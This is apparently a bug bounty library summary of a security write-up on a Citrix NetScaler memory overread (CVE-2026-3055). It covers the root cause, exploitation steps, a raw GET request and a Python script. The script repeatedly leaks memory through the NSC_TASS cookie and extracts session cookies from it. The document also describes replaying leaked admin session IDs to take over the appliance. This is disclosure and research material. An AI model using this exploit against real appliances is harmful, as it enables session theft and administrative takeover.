# Please, We Beg, Just One Weekend Free Of Appliances (Citrix NetScaler CVE-2026-3055 Memory Overread Part 2)

Citrix NetScaler /wsfed/passive endpoint with valueless wctx param leaks uninitialized memory via NSC_TASS cookie, exposing admin session IDs.

- Payout: Real-world hack
- Severity: high
- Program: Citrix
- Analysis by: Aliz Hammond
- Disclosed: 2026-03-29
- CVE: CVE-2026-3055
- Write-up quality: 8/10
- Original: https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part
- Tags: area:devices domain:network impact:ato impact:data-leak impact:privesc kind:incident platform:research sev:high tech:saml technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:memory-corruption

**Target:** /wsfed/passive endpoint on Citrix NetScaler (SAML IDP config)
**Root cause:** The wctx querystring parameter is checked only for presence, not for an associated value; with no '=' or data, the code dereferences a pointer to uninitialized/dead memory and returns it base64-encoded in the NSC_TASS cookie.
**Steps:**
1. Send `GET /wsfed/passive?wctx HTTP/1.1` with any Host header to the appliance
2. Observe 302 response with `Set-Cookie: NSC_TASS=<base64>`
3. Base64-decode NSC_TASS to obtain leaked heap memory (HTTP headers, session IDs, pointers)
4. Repeat requests to sample different memory chunks; filter decoded output for `Cookie`/session tokens
5. Reuse leaked administrative session IDs to authenticate as admin
**How found:** After Part 1 analysis of CVE-2026-3055, researchers hypothesized Citrix may have patched multiple overreads under one CVE ID; they diffed patches and probed other SAML/WS-Fed endpoints, finding /wsfed/passive?wctx behaves like CitrixBleed2 — presence-only check on a valueless parameter.
**Exploitation:** Attacker sends repeated unauthenticated GET requests to /wsfed/passive?wctx; each response leaks kilobytes of process memory in the NSC_TASS cookie. By sampling repeatedly, attacker harvests authenticated administrative session IDs and other secrets, then replays the session cookie to gain admin access to the NetScaler.
**Escalation:** Repeated sampling of dynamic memory yields admin session IDs, escalating an unauthenticated info leak to full administrative takeover of the appliance.
**Insight:** When a vendor assigns one CVE to a memory-safety fix, diff the patch and probe sibling endpoints (SAML/WS-Fed handlers) for the same presence-vs-value check pattern; a parameter without '=' can still trigger buffer access on dead memory.

## Proof of concept (copied exactly from the original report)

**GET request triggering wctx memory overread**

```
GET /wsfed/passive?wctx HTTP/1.1
Host: a-fun-hostname-for-f5-to-mark-as-an-ioc.com
```

**Detection script leaking NSC_TASS memory**

```
import base64

import requests
import urllib3

urllib3.disable_warnings()

BANNER = """ __ ___ ___________ 
 __ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________ 
 \\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
 \\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
 \\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__| 
 \\/ \\/ \\/ 

watchTowr-vs-Citrix-NetScaler-CVE-2026-3055.py
(*) Citrix NetScaler Memory Overread Detection Artifact Generator - Aliz Hammond of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-3055]
"""

print(BANNER)

while True:
 try:
 resp = requests.get("https://<host>/wsfed/passive?wctx", verify=False, allow_redirects=False)
 tass = resp.cookies.get('NSC_TASS', None)
 if tass is None:
 continue
 tassText = base64.b64decode(tass)
 memIdx = tassText.find(b'wctx=')
 if memIdx != -1:
 bled = tassText[memIdx+5:]
 cookiePos = bled.find(b'Cookie')
 if cookiePos != -1:
 print(bled[cookiePos:].decode('ascii', errors='ignore'))
 except Exception:
 pass
```

